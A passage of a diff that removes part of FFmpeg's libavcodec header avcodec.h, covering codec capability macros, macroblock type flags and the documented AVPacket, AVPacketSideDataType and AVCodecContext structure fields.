The decoder has a non-zero delay and needs to be fed with avpkt->data=NULL, - * avpkt->size=0 at the end to get the delayed data until the decoder no longer - * returns frames. - * - * Encoders: - * The encoder needs to be fed with NULL data at the end of encoding until the - * encoder no longer returns data. - * - * NOTE: For encoders implementing the AVCodec.encode2() function, setting this - * flag also means that the encoder must set the pts and duration for - * each output packet. If this flag is not set, the pts and duration will - * be determined by libavcodec from the input frame. - */ -#define CODEC_CAP_DELAY AV_CODEC_CAP_DELAY -/** - * Codec can be fed a final frame with a smaller size. - * This can be used to prevent truncation of the last audio samples. - */ -#define CODEC_CAP_SMALL_LAST_FRAME AV_CODEC_CAP_SMALL_LAST_FRAME -#if FF_API_CAP_VDPAU -/** - * Codec can export data for HW decoding (VDPAU). - */ -#define CODEC_CAP_HWACCEL_VDPAU AV_CODEC_CAP_HWACCEL_VDPAU -#endif -/** - * Codec can output multiple frames per AVPacket - * Normally demuxers return one frame at a time, demuxers which do not do - * are connected to a parser to split what they return into proper frames. - * This flag is reserved to the very rare category of codecs which have a - * bitstream that cannot be split into frames without timeconsuming - * operations like full decoding. Demuxers carring such bitstreams thus - * may return multiple frames in a packet. This has many disadvantages like - * prohibiting stream copy in many cases thus it should only be considered - * as a last resort. - */ -#define CODEC_CAP_SUBFRAMES AV_CODEC_CAP_SUBFRAMES -/** - * Codec is experimental and is thus avoided in favor of non experimental - * encoders - */ -#define CODEC_CAP_EXPERIMENTAL AV_CODEC_CAP_EXPERIMENTAL -/** - * Codec should fill in channel configuration and samplerate instead of container - */ -#define CODEC_CAP_CHANNEL_CONF AV_CODEC_CAP_CHANNEL_CONF -#if FF_API_NEG_LINESIZES -/** - * @deprecated no codecs use this capability - */ -#define CODEC_CAP_NEG_LINESIZES 0x0800 -#endif -/** - * Codec supports frame-level multithreading. - */ -#define CODEC_CAP_FRAME_THREADS AV_CODEC_CAP_FRAME_THREADS -/** - * Codec supports slice-based (or partition-based) multithreading. - */ -#define CODEC_CAP_SLICE_THREADS AV_CODEC_CAP_SLICE_THREADS -/** - * Codec supports changed parameters at any point. - */ -#define CODEC_CAP_PARAM_CHANGE AV_CODEC_CAP_PARAM_CHANGE -/** - * Codec supports avctx->thread_count == 0 (auto). - */ -#define CODEC_CAP_AUTO_THREADS AV_CODEC_CAP_AUTO_THREADS -/** - * Audio encoder supports receiving a different number of samples in each call. - */ -#define CODEC_CAP_VARIABLE_FRAME_SIZE AV_CODEC_CAP_VARIABLE_FRAME_SIZE -/** - * Codec is intra only. - */ -#define CODEC_CAP_INTRA_ONLY AV_CODEC_CAP_INTRA_ONLY -/** - * Codec is lossless. - */ -#define CODEC_CAP_LOSSLESS AV_CODEC_CAP_LOSSLESS - -/** - * HWAccel is experimental and is thus avoided in favor of non experimental - * codecs - */ -#define HWACCEL_CODEC_CAP_EXPERIMENTAL 0x0200 -#endif /* FF_API_WITHOUT_PREFIX */ - -#if FF_API_MB_TYPE -//The following defines may change, don't expect compatibility if you use them. -#define MB_TYPE_INTRA4x4 0x0001 -#define MB_TYPE_INTRA16x16 0x0002 //FIXME H.264-specific -#define MB_TYPE_INTRA_PCM 0x0004 //FIXME H.264-specific -#define MB_TYPE_16x16 0x0008 -#define MB_TYPE_16x8 0x0010 -#define MB_TYPE_8x16 0x0020 -#define MB_TYPE_8x8 0x0040 -#define MB_TYPE_INTERLACED 0x0080 -#define MB_TYPE_DIRECT2 0x0100 //FIXME -#define MB_TYPE_ACPRED 0x0200 -#define MB_TYPE_GMC 0x0400 -#define MB_TYPE_SKIP 0x0800 -#define MB_TYPE_P0L0 0x1000 -#define MB_TYPE_P1L0 0x2000 -#define MB_TYPE_P0L1 0x4000 -#define MB_TYPE_P1L1 0x8000 -#define MB_TYPE_L0 (MB_TYPE_P0L0 | MB_TYPE_P1L0) -#define MB_TYPE_L1 (MB_TYPE_P0L1 | MB_TYPE_P1L1) -#define MB_TYPE_L0L1 (MB_TYPE_L0 | MB_TYPE_L1) -#define MB_TYPE_QUANT 0x00010000 -#define MB_TYPE_CBP 0x00020000 -//Note bits 24-31 are reserved for codec specific use (h264 ref0, mpeg1 0mv, ...) -#endif - -/** - * Pan Scan area. - * This specifies the area which should be displayed. - * Note there may be multiple such areas for one frame. - */ -typedef struct AVPanScan{ - /** - * id - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - int id; - - /** - * width and height in 1/16 pel - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - int width; - int height; - - /** - * position of the top left corner in 1/16 pel for up to 3 fields/frames - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - int16_t position[3][2]; -}AVPanScan; - -/** - * This structure describes the bitrate properties of an encoded bitstream. It - * roughly corresponds to a subset the VBV parameters for MPEG-2 or HRD - * parameters for H.264/HEVC. - */ -typedef struct AVCPBProperties { - /** - * Maximum bitrate of the stream, in bits per second. - * Zero if unknown or unspecified. - */ - int max_bitrate; - /** - * Minimum bitrate of the stream, in bits per second. - * Zero if unknown or unspecified. - */ - int min_bitrate; - /** - * Average bitrate of the stream, in bits per second. - * Zero if unknown or unspecified. - */ - int avg_bitrate; - - /** - * The size of the buffer to which the ratecontrol is applied, in bits. - * Zero if unknown or unspecified. - */ - int buffer_size; - - /** - * The delay between the time the packet this structure is associated with - * is received and the time when it should be decoded, in periods of a 27MHz - * clock. - * - * UINT64_MAX when unknown or unspecified. - */ - uint64_t vbv_delay; -} AVCPBProperties; - -#if FF_API_QSCALE_TYPE -#define FF_QSCALE_TYPE_MPEG1 0 -#define FF_QSCALE_TYPE_MPEG2 1 -#define FF_QSCALE_TYPE_H264 2 -#define FF_QSCALE_TYPE_VP56 3 -#endif - -/** - * The decoder will keep a reference to the frame and may reuse it later. - */ -#define AV_GET_BUFFER_FLAG_REF (1 << 0) - -/** - * @defgroup lavc_packet AVPacket - * - * Types and functions for working with AVPacket. - * @{ - */ -enum AVPacketSideDataType { - AV_PKT_DATA_PALETTE, - AV_PKT_DATA_NEW_EXTRADATA, - - /** - * An AV_PKT_DATA_PARAM_CHANGE side data packet is laid out as follows: - * @code - * u32le param_flags - * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_COUNT) - * s32le channel_count - * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_LAYOUT) - * u64le channel_layout - * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE) - * s32le sample_rate - * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS) - * s32le width - * s32le height - * @endcode - */ - AV_PKT_DATA_PARAM_CHANGE, - - /** - * An AV_PKT_DATA_H263_MB_INFO side data packet contains a number of - * structures with info about macroblocks relevant to splitting the - * packet into smaller packets on macroblock edges (e.g. as for RFC 2190). - * That is, it does not necessarily contain info about all macroblocks, - * as long as the distance between macroblocks in the info is smaller - * than the target payload size. - * Each MB info structure is 12 bytes, and is laid out as follows: - * @code - * u32le bit offset from the start of the packet - * u8 current quantizer at the start of the macroblock - * u8 GOB number - * u16le macroblock address within the GOB - * u8 horizontal MV predictor - * u8 vertical MV predictor - * u8 horizontal MV predictor for block number 3 - * u8 vertical MV predictor for block number 3 - * @endcode - */ - AV_PKT_DATA_H263_MB_INFO, - - /** - * This side data should be associated with an audio stream and contains - * ReplayGain information in form of the AVReplayGain struct. - */ - AV_PKT_DATA_REPLAYGAIN, - - /** - * This side data contains a 3x3 transformation matrix describing an affine - * transformation that needs to be applied to the decoded video frames for - * correct presentation. - * - * See libavutil/display.h for a detailed description of the data. - */ - AV_PKT_DATA_DISPLAYMATRIX, - - /** - * This side data should be associated with a video stream and contains - * Stereoscopic 3D information in form of the AVStereo3D struct. - */ - AV_PKT_DATA_STEREO3D, - - /** - * This side data should be associated with an audio stream and corresponds - * to enum AVAudioServiceType. - */ - AV_PKT_DATA_AUDIO_SERVICE_TYPE, - - /** - * This side data contains quality related information from the encoder. - * @code - * u32le quality factor of the compressed frame. Allowed range is between 1 (good) and FF_LAMBDA_MAX (bad). - * u8 picture type - * u8 error count - * u16 reserved - * u64le[error count] sum of squared differences between encoder in and output - * @endcode - */ - AV_PKT_DATA_QUALITY_STATS, - - /** - * This side data contains an integer value representing the stream index - * of a "fallback" track. A fallback track indicates an alternate - * track to use when the current track can not be decoded for some reason. - * e.g. no decoder available for codec. - */ - AV_PKT_DATA_FALLBACK_TRACK, - - /** - * This side data corresponds to the AVCPBProperties struct. - */ - AV_PKT_DATA_CPB_PROPERTIES, - - /** - * Recommmends skipping the specified number of samples - * @code - * u32le number of samples to skip from start of this packet - * u32le number of samples to skip from end of this packet - * u8 reason for start skip - * u8 reason for end skip (0=padding silence, 1=convergence) - * @endcode - */ - AV_PKT_DATA_SKIP_SAMPLES=70, - - /** - * An AV_PKT_DATA_JP_DUALMONO side data packet indicates that - * the packet may contain "dual mono" audio specific to Japanese DTV - * and if it is true, recommends only the selected channel to be used. - * @code - * u8 selected channels (0=mail/left, 1=sub/right, 2=both) - * @endcode - */ - AV_PKT_DATA_JP_DUALMONO, - - /** - * A list of zero terminated key/value strings. There is no end marker for - * the list, so it is required to rely on the side data size to stop. - */ - AV_PKT_DATA_STRINGS_METADATA, - - /** - * Subtitle event position - * @code - * u32le x1 - * u32le y1 - * u32le x2 - * u32le y2 - * @endcode - */ - AV_PKT_DATA_SUBTITLE_POSITION, - - /** - * Data found in BlockAdditional element of matroska container. There is - * no end marker for the data, so it is required to rely on the side data - * size to recognize the end. 8 byte id (as found in BlockAddId) followed - * by data. - */ - AV_PKT_DATA_MATROSKA_BLOCKADDITIONAL, - - /** - * The optional first identifier line of a WebVTT cue. - */ - AV_PKT_DATA_WEBVTT_IDENTIFIER, - - /** - * The optional settings (rendering instructions) that immediately - * follow the timestamp specifier of a WebVTT cue. - */ - AV_PKT_DATA_WEBVTT_SETTINGS, - - /** - * A list of zero terminated key/value strings. There is no end marker for - * the list, so it is required to rely on the side data size to stop. This - * side data includes updated metadata which appeared in the stream. - */ - AV_PKT_DATA_METADATA_UPDATE, -}; - -#define AV_PKT_DATA_QUALITY_FACTOR AV_PKT_DATA_QUALITY_STATS //DEPRECATED - -typedef struct AVPacketSideData { - uint8_t *data; - int size; - enum AVPacketSideDataType type; -} AVPacketSideData; - -/** - * This structure stores compressed data. It is typically exported by demuxers - * and then passed as input to decoders, or received as output from encoders and - * then passed to muxers. - * - * For video, it should typically contain one compressed frame. For audio it may - * contain several compressed frames. Encoders are allowed to output empty - * packets, with no compressed data, containing only side data - * (e.g. to update some stream parameters at the end of encoding). - * - * AVPacket is one of the few structs in FFmpeg, whose size is a part of public - * ABI. Thus it may be allocated on stack and no new fields can be added to it - * without libavcodec and libavformat major bump. - * - * The semantics of data ownership depends on the buf field. - * If it is set, the packet data is dynamically allocated and is - * valid indefinitely until a call to av_packet_unref() reduces the - * reference count to 0. - * - * If the buf field is not set av_packet_ref() would make a copy instead - * of increasing the reference count. - * - * The side data is always allocated with av_malloc(), copied by - * av_packet_ref() and freed by av_packet_unref(). - * - * @see av_packet_ref - * @see av_packet_unref - */ -typedef struct AVPacket { - /** - * A reference to the reference-counted buffer where the packet data is - * stored. - * May be NULL, then the packet data is not reference-counted. - */ - AVBufferRef *buf; - /** - * Presentation timestamp in AVStream->time_base units; the time at which - * the decompressed packet will be presented to the user. - * Can be AV_NOPTS_VALUE if it is not stored in the file. - * pts MUST be larger or equal to dts as presentation cannot happen before - * decompression, unless one wants to view hex dumps. Some formats misuse - * the terms dts and pts/cts to mean something different. Such timestamps - * must be converted to true pts/dts before they are stored in AVPacket. - */ - int64_t pts; - /** - * Decompression timestamp in AVStream->time_base units; the time at which - * the packet is decompressed. - * Can be AV_NOPTS_VALUE if it is not stored in the file. - */ - int64_t dts; - uint8_t *data; - int size; - int stream_index; - /** - * A combination of AV_PKT_FLAG values - */ - int flags; - /** - * Additional packet data that can be provided by the container. - * Packet can contain several types of side information. - */ - AVPacketSideData *side_data; - int side_data_elems; - - /** - * Duration of this packet in AVStream->time_base units, 0 if unknown. - * Equals next_pts - this_pts in presentation order. - */ - int64_t duration; - - int64_t pos; ///< byte position in stream, -1 if unknown - -#if FF_API_CONVERGENCE_DURATION - /** - * @deprecated Same as the duration field, but as int64_t. This was required - * for Matroska subtitles, whose duration values could overflow when the - * duration field was still an int. - */ - attribute_deprecated - int64_t convergence_duration; -#endif -} AVPacket; -#define AV_PKT_FLAG_KEY 0x0001 ///< The packet contains a keyframe -#define AV_PKT_FLAG_CORRUPT 0x0002 ///< The packet content is corrupted - -enum AVSideDataParamChangeFlags { - AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_COUNT = 0x0001, - AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_LAYOUT = 0x0002, - AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE = 0x0004, - AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS = 0x0008, -}; -/** - * @} - */ - -struct AVCodecInternal; - -enum AVFieldOrder { - AV_FIELD_UNKNOWN, - AV_FIELD_PROGRESSIVE, - AV_FIELD_TT, //< Top coded_first, top displayed first - AV_FIELD_BB, //< Bottom coded first, bottom displayed first - AV_FIELD_TB, //< Top coded first, bottom displayed first - AV_FIELD_BT, //< Bottom coded first, top displayed first -}; - -/** - * main external API structure. - * New fields can be added to the end with minor version bumps. - * Removal, reordering and changes to existing fields require a major - * version bump. - * Please use AVOptions (av_opt* / av_set/get*()) to access these fields from user - * applications. - * sizeof(AVCodecContext) must not be used outside libav*. - */ -typedef struct AVCodecContext { - /** - * information on struct for av_log - * - set by avcodec_alloc_context3 - */ - const AVClass *av_class; - int log_level_offset; - - enum AVMediaType codec_type; /* see AVMEDIA_TYPE_xxx */ - const struct AVCodec *codec; -#if FF_API_CODEC_NAME - /** - * @deprecated this field is not used for anything in libavcodec - */ - attribute_deprecated - char codec_name[32]; -#endif - enum AVCodecID codec_id; /* see AV_CODEC_ID_xxx */ - - /** - * fourcc (LSB first, so "ABCD" -> ('D'<<24) + ('C'<<16) + ('B'<<8) + 'A'). - * This is used to work around some encoder bugs. - * A demuxer should set this to what is stored in the field used to identify the codec. - * If there are multiple such fields in a container then the demuxer should choose the one - * which maximizes the information about the used codec. - * If the codec tag field in a container is larger than 32 bits then the demuxer should - * remap the longer ID to 32 bits with a table or other structure. Alternatively a new - * extra_codec_tag + size could be added but for this a clear advantage must be demonstrated - * first. - * - encoding: Set by user, if not then the default based on codec_id will be used. - * - decoding: Set by user, will be converted to uppercase by libavcodec during init. - */ - unsigned int codec_tag; - -#if FF_API_STREAM_CODEC_TAG - /** - * @deprecated this field is unused - */ - attribute_deprecated - unsigned int stream_codec_tag; -#endif - - void *priv_data; - - /** - * Private context used for internal data. - * - * Unlike priv_data, this is not codec-specific. It is used in general - * libavcodec functions. - */ - struct AVCodecInternal *internal; - - /** - * Private data of the user, can be used to carry app specific stuff. - * - encoding: Set by user. - * - decoding: Set by user. - */ - void *opaque; - - /** - * the average bitrate - * - encoding: Set by user; unused for constant quantizer encoding. - * - decoding: Set by user, may be overwritten by libavcodec - * if this info is available in the stream - */ - int64_t bit_rate; - - /** - * number of bits the bitstream is allowed to diverge from the reference. - * the reference can be CBR (for CBR pass1) or VBR (for pass2) - * - encoding: Set by user; unused for constant quantizer encoding. - * - decoding: unused - */ - int bit_rate_tolerance; - - /** - * Global quality for codecs which cannot change it per frame. - * This should be proportional to MPEG-1/2/4 qscale. - * - encoding: Set by user. - * - decoding: unused - */ - int global_quality; - - /** - * - encoding: Set by user. - * - decoding: unused - */ - int compression_level; -#define FF_COMPRESSION_DEFAULT -1 - - /** - * AV_CODEC_FLAG_*. - * - encoding: Set by user. - * - decoding: Set by user. - */ - int flags; - - /** - * AV_CODEC_FLAG2_* - * - encoding: Set by user. - * - decoding: Set by user. - */ - int flags2; - - /** - * some codecs need / can use extradata like Huffman tables. - * mjpeg: Huffman tables - * rv10: additional flags - * mpeg4: global headers (they can be in the bitstream or here) - * The allocated memory should be AV_INPUT_BUFFER_PADDING_SIZE bytes larger - * than extradata_size to avoid problems if it is read with the bitstream reader. - * The bytewise contents of extradata must not depend on the architecture or CPU endianness. - * - encoding: Set/allocated/freed by libavcodec. - * - decoding: Set/allocated/freed by user. - */ - uint8_t *extradata; - int extradata_size; - - /** - * This is the fundamental unit of time (in seconds) in terms - * of which frame timestamps are represented. For fixed-fps content, - * timebase should be 1/framerate and timestamp increments should be - * identically 1. - * This often, but not always is the inverse of the frame rate or field rate - * for video. - * - encoding: MUST be set by user. - * - decoding: the use of this field for decoding is deprecated. - * Use framerate instead. - */ - AVRational time_base; - - /** - * For some codecs, the time base is closer to the field rate than the frame rate. - * Most notably, H.264 and MPEG-2 specify time_base as half of frame duration - * if no telecine is used ... - * - * Set to time_base ticks per frame. Default 1, e.g., H.264/MPEG-2 set it to 2. - */ - int ticks_per_frame; - - /** - * Codec delay. - * - * Encoding: Number of frames delay there will be from the encoder input to - * the decoder output. (we assume the decoder matches the spec) - * Decoding: Number of frames delay in addition to what a standard decoder - * as specified in the spec would produce. - * - * Video: - * Number of frames the decoded output will be delayed relative to the - * encoded input. - * - * Audio: - * For encoding, this field is unused (see initial_padding). - * - * For decoding, this is the number of samples the decoder needs to - * output before the decoder's output is valid. When seeking, you should - * start decoding this many samples prior to your desired seek point. - * - * - encoding: Set by libavcodec. - * - decoding: Set by libavcodec. - */ - int delay; - - - /* video only */ - /** - * picture width / height. - * - * @note Those fields may not match the values of the last - * AVFrame outputted by avcodec_decode_video2 due frame - * reordering. - * - * - encoding: MUST be set by user. - * - decoding: May be set by the user before opening the decoder if known e.g. - * from the container. Some decoders will require the dimensions - * to be set by the caller. During decoding, the decoder may - * overwrite those values as required while parsing the data. - */ - int width, height; - - /** - * Bitstream width / height, may be different from width/height e.g. when - * the decoded frame is cropped before being output or lowres is enabled. - * - * @note Those field may not match the value of the last - * AVFrame outputted by avcodec_decode_video2 due frame - * reordering. - * - * - encoding: unused - * - decoding: May be set by the user before opening the decoder if known - * e.g. from the container. During decoding, the decoder may - * overwrite those values as required while parsing the data. - */ - int coded_width, coded_height; - -#if FF_API_ASPECT_EXTENDED -#define FF_ASPECT_EXTENDED 15 -#endif - - /** - * the number of pictures in a group of pictures, or 0 for intra_only - * - encoding: Set by user. - * - decoding: unused - */ - int gop_size; - - /** - * Pixel format, see AV_PIX_FMT_xxx. - * May be set by the demuxer if known from headers. - * May be overridden by the decoder if it knows better. - * - * @note This field may not match the value of the last - * AVFrame outputted by avcodec_decode_video2 due frame - * reordering. - * - * - encoding: Set by user. - * - decoding: Set by user if known, overridden by libavcodec while - * parsing the data. - */ - enum AVPixelFormat pix_fmt; - -#if FF_API_MOTION_EST - /** - * This option does nothing - * @deprecated use codec private options instead - */ - attribute_deprecated int me_method; -#endif - - /** - * If non NULL, 'draw_horiz_band' is called by the libavcodec - * decoder to draw a horizontal band. It improves cache usage. Not - * all codecs can do that. You must check the codec capabilities - * beforehand. - * When multithreading is used, it may be called from multiple threads - * at the same time; threads might draw different parts of the same AVFrame, - * or multiple AVFrames, and there is no guarantee that slices will be drawn - * in order. - * The function is also used by hardware acceleration APIs. - * It is called at least once during frame decoding to pass - * the data needed for hardware render. - * In that mode instead of pixel data, AVFrame points to - * a structure specific to the acceleration API. The application - * reads the structure and can change some fields to indicate progress - * or mark state. - * - encoding: unused - * - decoding: Set by user. - * @param height the height of the slice - * @param y the y position of the slice - * @param type 1->top field, 2->bottom field, 3->frame - * @param offset offset into the AVFrame.data from which the slice should be read - */ - void (*draw_horiz_band)(struct AVCodecContext *s, - const AVFrame *src, int offset[AV_NUM_DATA_POINTERS], - int y, int type, int height); - - /** - * callback to negotiate the pixelFormat - * @param fmt is the list of formats which are supported by the codec, - * it is terminated by -1 as 0 is a valid format, the formats are ordered by quality. - * The first is always the native one. - * @note The callback may be called again immediately if initialization for - * the selected (hardware-accelerated) pixel format failed. - * @warning Behavior is undefined if the callback returns a value not - * in the fmt list of formats. - * @return the chosen format - * - encoding: unused - * - decoding: Set by user, if not set the native format will be chosen. - */ - enum AVPixelFormat (*get_format)(struct AVCodecContext *s, const enum AVPixelFormat * fmt); - - /** - * maximum number of B-frames between non-B-frames - * Note: The output will be delayed by max_b_frames+1 relative to the input. - * - encoding: Set by user. - * - decoding: unused - */ - int max_b_frames; - - /** - * qscale factor between IP and B-frames - * If > 0 then the last P-frame quantizer will be used (q= lastp_q*factor+offset). - * If < 0 then normal ratecontrol will be done (q= -normal_q*factor+offset). - * - encoding: Set by user. - * - decoding: unused - */ - float b_quant_factor; - -#if FF_API_RC_STRATEGY - /** @deprecated use codec private option instead */ - attribute_deprecated int rc_strategy; -#define FF_RC_STRATEGY_XVID 1 -#endif - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int b_frame_strategy; -#endif - - /** - * qscale offset between IP and B-frames - * - encoding: Set by user. - * - decoding: unused - */ - float b_quant_offset; - - /** - * Size of the frame reordering buffer in the decoder. - * For MPEG-2 it is 1 IPB or 0 low delay IP. - * - encoding: Set by libavcodec. - * - decoding: Set by libavcodec. - */ - int has_b_frames; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int mpeg_quant; -#endif - - /** - * qscale factor between P and I-frames - * If > 0 then the last p frame quantizer will be used (q= lastp_q*factor+offset). - * If < 0 then normal ratecontrol will be done (q= -normal_q*factor+offset). - * - encoding: Set by user. - * - decoding: unused - */ - float i_quant_factor; - - /** - * qscale offset between P and I-frames - * - encoding: Set by user. - * - decoding: unused - */ - float i_quant_offset; - - /** - * luminance masking (0-> disabled) - * - encoding: Set by user. - * - decoding: unused - */ - float lumi_masking; - - /** - * temporary complexity masking (0-> disabled) - * - encoding: Set by user. - * - decoding: unused - */ - float temporal_cplx_masking; - - /** - * spatial complexity masking (0-> disabled) - * - encoding: Set by user. - * - decoding: unused - */ - float spatial_cplx_masking; - - /** - * p block masking (0-> disabled) - * - encoding: Set by user. - * - decoding: unused - */ - float p_masking; - - /** - * darkness masking (0-> disabled) - * - encoding: Set by user. - * - decoding: unused - */ - float dark_masking; - - /** - * slice count - * - encoding: Set by libavcodec. - * - decoding: Set by user (or 0). - */ - int slice_count; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int prediction_method; -#define FF_PRED_LEFT 0 -#define FF_PRED_PLANE 1 -#define FF_PRED_MEDIAN 2 -#endif - - /** - * slice offsets in the frame in bytes - * - encoding: Set/allocated by libavcodec. - * - decoding: Set/allocated by user (or NULL). - */ - int *slice_offset; - - /** - * sample aspect ratio (0 if unknown) - * That is the width of a pixel divided by the height of the pixel. - * Numerator and denominator must be relatively prime and smaller than 256 for some video standards. - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - AVRational sample_aspect_ratio; - - /** - * motion estimation comparison function - * - encoding: Set by user. - * - decoding: unused - */ - int me_cmp; - /** - * subpixel motion estimation comparison function - * - encoding: Set by user. - * - decoding: unused - */ - int me_sub_cmp; - /** - * macroblock comparison function (not supported yet) - * - encoding: Set by user. - * - decoding: unused - */ - int mb_cmp; - /** - * interlaced DCT comparison function - * - encoding: Set by user. - * - decoding: unused - */ - int ildct_cmp; -#define FF_CMP_SAD 0 -#define FF_CMP_SSE 1 -#define FF_CMP_SATD 2 -#define FF_CMP_DCT 3 -#define FF_CMP_PSNR 4 -#define FF_CMP_BIT 5 -#define FF_CMP_RD 6 -#define FF_CMP_ZERO 7 -#define FF_CMP_VSAD 8 -#define FF_CMP_VSSE 9 -#define FF_CMP_NSSE 10 -#define FF_CMP_W53 11 -#define FF_CMP_W97 12 -#define FF_CMP_DCTMAX 13 -#define FF_CMP_DCT264 14 -#define FF_CMP_CHROMA 256 - - /** - * ME diamond size & shape - * - encoding: Set by user. - * - decoding: unused - */ - int dia_size; - - /** - * amount of previous MV predictors (2a+1 x 2a+1 square) - * - encoding: Set by user. - * - decoding: unused - */ - int last_predictor_count; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int pre_me; -#endif - - /** - * motion estimation prepass comparison function - * - encoding: Set by user. - * - decoding: unused - */ - int me_pre_cmp; - - /** - * ME prepass diamond size & shape - * - encoding: Set by user. - * - decoding: unused - */ - int pre_dia_size; - - /** - * subpel ME quality - * - encoding: Set by user. - * - decoding: unused - */ - int me_subpel_quality; - -#if FF_API_AFD - /** - * DTG active format information (additional aspect ratio - * information only used in DVB MPEG-2 transport streams) - * 0 if not set. - * - * - encoding: unused - * - decoding: Set by decoder. - * @deprecated Deprecated in favor of AVSideData - */ - attribute_deprecated int dtg_active_format; -#define FF_DTG_AFD_SAME 8 -#define FF_DTG_AFD_4_3 9 -#define FF_DTG_AFD_16_9 10 -#define FF_DTG_AFD_14_9 11 -#define FF_DTG_AFD_4_3_SP_14_9 13 -#define FF_DTG_AFD_16_9_SP_14_9 14 -#define FF_DTG_AFD_SP_4_3 15 -#endif /* FF_API_AFD */ - - /** - * maximum motion estimation search range in subpel units - * If 0 then no limit. - * - * - encoding: Set by user. - * - decoding: unused - */ - int me_range; - -#if FF_API_QUANT_BIAS - /** - * @deprecated use encoder private option instead - */ - attribute_deprecated int intra_quant_bias; -#define FF_DEFAULT_QUANT_BIAS 999999 - - /** - * @deprecated use encoder private option instead - */ - attribute_deprecated int inter_quant_bias; -#endif - - /** - * slice flags - * - encoding: unused - * - decoding: Set by user. - */ - int slice_flags; -#define SLICE_FLAG_CODED_ORDER 0x0001 ///< draw_horiz_band() is called in coded order instead of display -#define SLICE_FLAG_ALLOW_FIELD 0x0002 ///< allow draw_horiz_band() with field slices (MPEG2 field pics) -#define SLICE_FLAG_ALLOW_PLANE 0x0004 ///< allow draw_horiz_band() with 1 component at a time (SVQ1) - -#if FF_API_XVMC - /** - * XVideo Motion Acceleration - * - encoding: forbidden - * - decoding: set by decoder - * @deprecated XvMC doesn't need it anymore. - */ - attribute_deprecated int xvmc_acceleration; -#endif /* FF_API_XVMC */ - - /** - * macroblock decision mode - * - encoding: Set by user. - * - decoding: unused - */ - int mb_decision; -#define FF_MB_DECISION_SIMPLE 0 ///< uses mb_cmp -#define FF_MB_DECISION_BITS 1 ///< chooses the one which needs the fewest bits -#define FF_MB_DECISION_RD 2 ///< rate distortion - - /** - * custom intra quantization matrix - * - encoding: Set by user, can be NULL. - * - decoding: Set by libavcodec. - */ - uint16_t *intra_matrix; - - /** - * custom inter quantization matrix - * - encoding: Set by user, can be NULL. - * - decoding: Set by libavcodec. - */ - uint16_t *inter_matrix; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int scenechange_threshold; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int noise_reduction; -#endif - -#if FF_API_MPV_OPT - /** - * @deprecated this field is unused - */ - attribute_deprecated - int me_threshold; - - /** - * @deprecated this field is unused - */ - attribute_deprecated - int mb_threshold; -#endif - - /** - * precision of the intra DC coefficient - 8 - * - encoding: Set by user. - * - decoding: Set by libavcodec - */ - int intra_dc_precision; - - /** - * Number of macroblock rows at the top which are skipped. - * - encoding: unused - * - decoding: Set by user. - */ - int skip_top; - - /** - * Number of macroblock rows at the bottom which are skipped. - * - encoding: unused - * - decoding: Set by user. - */ - int skip_bottom; - -#if FF_API_MPV_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - float border_masking; -#endif - - /** - * minimum MB lagrange multipler - * - encoding: Set by user. - * - decoding: unused - */ - int mb_lmin; - - /** - * maximum MB lagrange multipler - * - encoding: Set by user. - * - decoding: unused - */ - int mb_lmax; - -#if FF_API_PRIVATE_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - int me_penalty_compensation; -#endif - - /** - * - * - encoding: Set by user. - * - decoding: unused - */ - int bidir_refine; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int brd_scale; -#endif - - /** - * minimum GOP size - * - encoding: Set by user. - * - decoding: unused - */ - int keyint_min; - - /** - * number of reference frames - * - encoding: Set by user. - * - decoding: Set by lavc. - */ - int refs; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int chromaoffset; -#endif - -#if FF_API_UNUSED_MEMBERS - /** - * Multiplied by qscale for each frame and added to scene_change_score. - * - encoding: Set by user. - * - decoding: unused - */ - attribute_deprecated int scenechange_factor; -#endif - - /** - * - * Note: Value depends upon the compare function used for fullpel ME. - * - encoding: Set by user. - * - decoding: unused - */ - int mv0_threshold; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int b_sensitivity; -#endif - - /** - * Chromaticity coordinates of the source primaries. - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorPrimaries color_primaries; - - /** - * Color Transfer Characteristic. - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorTransferCharacteristic color_trc; - - /** - * YUV colorspace type. - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorSpace colorspace; - - /** - * MPEG vs JPEG YUV range. - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVColorRange color_range; - - /** - * This defines the location of chroma samples. - * - encoding: Set by user - * - decoding: Set by libavcodec - */ - enum AVChromaLocation chroma_sample_location; - - /** - * Number of slices. - * Indicates number of picture subdivisions. Used for parallelized - * decoding. - * - encoding: Set by user - * - decoding: unused - */ - int slices; - - /** Field order - * - encoding: set by libavcodec - * - decoding: Set by user. - */ - enum AVFieldOrder field_order; - - /* audio only */ - int sample_rate; ///< samples per second - int channels; ///< number of audio channels - - /** - * audio sample format - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - enum AVSampleFormat sample_fmt; ///< sample format - - /* The following data should not be initialized. */ - /** 